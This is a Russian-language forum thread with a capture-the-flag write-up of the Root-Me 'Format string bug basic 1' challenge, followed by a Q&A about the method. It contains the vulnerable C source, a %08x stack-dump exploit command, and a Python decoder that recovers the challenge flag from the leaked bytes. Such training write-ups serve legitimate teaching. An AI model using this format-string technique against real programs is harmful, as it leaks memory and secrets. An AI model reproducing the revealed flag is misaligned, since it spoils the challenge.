ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   Root-Me, App-System, ELF x86 - Format string bug basic 1 (https://forum.antichat.xyz/showthread.php?t=1627942)

fuzzz 03.06.2019 15:26

ELF x86 - Format string bug basic 1

Environment configuration :


PIEPosition Independent Executable

https://forum.antichat.xyz/attachmen...64ec8daf36.png

RelRORead Only relocations
https://forum.antichat.xyz/attachmen...64ec8daf36.png

NXNon-Executable Stack
https://forum.antichat.xyz/attachmen...64ec8daf36.png

Heap execNon-Executable Heap
https://forum.antichat.xyz/attachmen...64ec8daf36.png

ASLRAddress Space Layout Randomization
https://forum.antichat.xyz/attachmen...64ec8daf36.png

SFSource Fortification
https://forum.antichat.xyz/attachmen...64ec8daf36.png

SRCSource code access
https://forum.antichat.xyz/attachmen...2ea6401095.png

Source code :

C:


Код:

#include
#include
int
main
(
int
argc
,
char
*
argv
[
]
)
{
FILE
*
secret
=
fopen
(
"/challenge/app-systeme/ch5/.passwd"
,
"rt"
)
;
char
buffer
[
32
]
;
fgets
(
buffer
,
sizeof
(
buffer
)
,
secret
)
;
printf
(
argv
[
1
]
)
;
fclose
(
secret
)
;
return
0
;
}

Решение
Этот бинарь без харденинг защит, поэтому тут все просто. Уязвимость тут находится в printf(argv[1]); Так как не были указаны форматы вывода. Эта уязвимость форматной строки. Поэтому у нас есть примитивы как чтения из стека так и запись в память. Тут нам нужен примитив чтения, потому, как флаг находится в файле .passwd.

И мы сможем прочитать от туда данные используя спецификатор формата %x

Суть эксплуатации этой уязвимости заключаться в том, чтобы считать значения со стека. В стеке находится буфер, а в буфере содержимое файла .passwd

Выведем 128 байт из стека 32 * 4 = 128

Код:


Код:

./ch5 $(python -c 'print "%08x."*32')
%08х число после знака процента нужно чтобы отображать по 4 байта

Код:


Код:

FF|FF|FF|FF
https://forum.antichat.xyz/attachmen...b732af8bed.png

Скопируем полученные байты в блокнот.
Данный нам ELF бинарник 32 битный. Архитектура x86
Поэтому все полученные байты выданные нам из стека находятся в перевернутом виде - Little Endian.

Например

Код:


Код:

Если -> 00000020 тогда -> 20|00|00|00
Или вот еще пример
28293664 -> 64|36|29|28

Поэтому чтобы в ручную не переписывать каждую цепочку байтов. Воспользуемся питоном для автоматизации, перевернем все байты, а за одно и декодируем их...

decode_bytes.py

Python:


Код:

bytes
=
[
"00000020"
,
"0804b160"
,
"0804853d"
,
"00000009"
,
"bffffcce"
,
"b7e1c4a9"
,
"bffffba4"
,
"b7fc4000"
,
"b7fc4000"
,
"0804b160"
,
"39617044"
,
"28293664"
,
"6d617045"
,
"bf000a64"
,
"0804861b"
,
"00000002"
,
"bffffba4"
,
"bffffbb0"
,
"119eaa00"
,
"bffffb10"
,
"00000000"
,
"00000000"
,
"b7e04e81"
,
"b7fc4000"
,
"b7fc4000"
,
"00000000"
,
"b7e04e81"
,
"00000002"
,
"bffffba4"
,
"bffffbb0"
,
"bffffb34"
,
"00000001"
]
bytes2
=
[
]
for
y
in
bytes
:
little_endian
=
y
[
6
:
]
+
y
[
4
:
-
2
]
+
y
[
2
:
-
4
]
+
y
[
0
:
-
6
]
bytes2
.
append
(
little_endian
)
for
x
in
bytes2
:
print
x
.
decode
(
'hex'
)
,

https://forum.antichat.xyz/attachmen...84c7dc1d0a.png

После запуска на выходе мы получим такие данные и флаг

B13 31.03.2023 00:59

От куда взято число 128 байт?
От куда берется спецификатор формата %x?

fuzzz 02.04.2023 04:21

Цитата:


B13 сказал(а):

От куда взято число 128 байт?
От куда берется спецификатор формата %x?


1) буфер 32 байта. адрес 4 байта. перемножаем = 128 байт
2) это фишка которая используется для атак на форматные строки.

B13 02.04.2023 16:45

Цитата:


fuzzz сказал(а):

1) буфер 32 байта. адрес 4 байта. перемножаем = 128 байт
2) это фишка которая используется для атак на форматные строки.


так, по 128 байтам, вроде бы понял. А вот по второму вопросу не совсем. Почему взято число %x08 а не какой либо другое или же это так же зависит от количества байт?

fuzzz 02.04.2023 18:54

Цитата:


B13 сказал(а):

так, по 128 байтам, вроде бы понял. А вот по второму вопросу не совсем. Почему взято число %x08 а не какой либо другое или же это так же зависит от количества байт?


первая ссылка в гугле C - The %x format specifier
Цитата:


%08x означает, что каждое число должно быть напечатано шириной не менее 8 символов с заполнением всех недостающих цифр нулями, например, для '1' вывод будет 00000001


Потому что адрес состоит из 8 цифр 0x12345678. Это 4 байта. Система 32 битная. х86.

B13 02.04.2023 21:07

Цитата:


fuzzz сказал(а):

первая ссылка в гугле C - The %x format specifier

Потому что адрес состоит из 8 цифр 0x12345678. Это 4 байта. Система 32 битная. х86.


значит все правильно понял, спасибо, а то застрял на двнном таске.

fuzzz 03.04.2023 00:51

Цитата:


B13 сказал(а):

значит все правильно понял, спасибо, а то застрял на двнном таске.


root-me app system решаешь? Много тасков уже решил?

B13 03.04.2023 01:42

Цитата:


fuzzz сказал(а):

root-me app system решаешь? Много тасков уже решил?


да, пытаюсь, начальные пока только смог порешать.


Время: 10:23